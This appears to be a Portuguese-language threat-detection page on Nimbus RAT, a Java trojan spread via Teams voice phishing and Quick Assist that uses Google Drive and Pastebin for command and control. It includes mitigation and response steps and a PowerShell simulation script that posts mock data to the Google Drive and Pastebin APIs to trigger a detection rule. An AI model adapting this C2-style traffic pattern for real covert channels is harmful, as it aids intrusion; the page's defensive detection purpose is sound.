SOC Prime Bias: Médio

05 Jun 2026 15:31 UTC

Nimbus RAT Entregue Através do Microsoft Teams e Google Drive

Author Photo
SOC Prime Team linkedin icon Seguir
Nimbus RAT Entregue Através do Microsoft Teams e Google Drive
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Atores de ameaça usaram phishing por voz no Microsoft Teams junto com o Quick Assist para implantar um trojan de acesso remoto baseado em Java conhecido como Nimbus RAT. O malware depende do Google Drive e Google Sheets como seus canais de comando e controle e inclui seu próprio runtime OpenJDK incorporado. Para o roubo de credenciais, ele utiliza um prompt de segurança falso do Windows ou a API nativa CredUI para capturar segredos do usuário.

Investigação

A Unidade de Resposta a Ameaças da eSentire reconstruiu toda a cadeia de intrusão usando logs de fluxo de email, telemetria de endpoint e análise estática do malware Java. A campanha combinou bombardeio de email, uma chamada de vishing baseada no Teams, suporte remoto Quick Assist, uma folha de instruções hospedada no Pastebin e um locatário do SharePoint comprometido usado para distribuir a carga útil.

Mitigação

Defesas recomendadas incluem desativar mensagens externas do Teams de locatários desconhecidos, bloquear o Quick Assist onde ele não é necessário, alertar sobre picos de atividade de bombardeio de email, monitorar javaw.exe execuções de locais não usuais, e detectar chamadas suspeitas à API do Google Drive iniciadas por processos inesperados.

Resposta

Se uma atividade do Nimbus RAT for detectada, isole o sistema afetado, termine todos os javaw.exe processos relacionados, remova o C:ProgramDataInboxCorePro diretório e quaisquer atalhos de inicialização associados, e considere uma reimagem completa do sistema. Revise também os logs de auditoria do Google Workspace para identificar quaisquer concessões não autorizadas de aplicativos do Google Drive.

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O teste pré-voo de Telemetria & Base deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa do Ataque & Comandos:
    O ator de ameaça já comprometeu o endpoint com o binário Nimbus RAT. Para estabelecer um canal C2 encoberto, o RAT emite duas solicitações HTTP POST de saída:

    1. Chamada da API do Google Drive – carrega uma pequena carga útil JSON para https://www.googleapis.com/drive/v3/files?uploadType=media, imitando o comportamento de “download-carga” do RAT.
    2. Paste do Pastebin – posta uma string de comando codificada em base-64 para https://pastebin.com/api/api_post.php usando a chave de API pública.

    Ambas as solicitações são executadas via Invoke-WebRequest do PowerShell para garantir que os logs do firewall contenham o campo domínio (googleapis.com and pastebin.com). O atacante executa os comandos no contexto do usuário comprometido para se misturar com a atividade normal.

  • Script de Teste de Regressão:

    # --------------------------------------------------------------
    # Simulação de C2 do Nimbus RAT – aciona regra Sigma na correspondência de domínio
    # --------------------------------------------------------------
    
    # 1. Mock de upload da API do Google Drive (sem autenticação – foca na telemetria do domínio)
    $googlePayload = @{ name = "dummy.txt"; mimeType = "text/plain" } | ConvertTo-Json
    $googleUri = "https://www.googleapis.com/drive/v3/files?uploadType=media"
    
    try {
        Invoke-WebRequest -Uri $googleUri -Method POST -Body $googlePayload `
            -ContentType "application/json" -UseBasicParsing -ErrorAction Stop
        Write-Host "[+] Enviou mock de upload para a API do Google Drive"
    } catch {
        Write-Warning "Solicitação do Google Drive falhou (esperado em sandbox): $_"
    }
    
    # 2. Post na API pública do Pastebin (requer uma chave de desenvolvedor – usando um placeholder)
    $pastebinKey   = "YOUR_PUBLIC_API_KEY"    # <-- substitua por uma chave válida para teste real
    $pastebinText  = "echo 'Comando simulado do C2'" 
    $pastebinUri   = "https://pastebin.com/api/api_post.php"
    $pastebinBody  = @{
        api_dev_key = $pastebinKey
        api_option  = "paste"
        api_paste_code = $pastebinText
        api_paste_private = "1"
    }
    
    try {
        Invoke-WebRequest -Uri $pastebinUri -Method POST -Body $pastebinBody `
            -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -ErrorAction Stop
        Write-Host "[+] Postou comando mock no Pastebin"
    } catch {
        Write-Warning "Solicitação do Pastebin falhou (esperado em sandbox): $_"
    }
    
    # --------------------------------------------------------------
    # Fim da simulação
    # --------------------------------------------------------------
  • Comandos de Limpeza:

    # Remova quaisquer arquivos temporários ou variáveis usadas durante a simulação
    Remove-Variable -Name googlePayload, googleUri, pastebinKey, pastebinText, pastebinUri, pastebinBody -ErrorAction SilentlyContinue
    Write-Host "[*] Limpeza completa."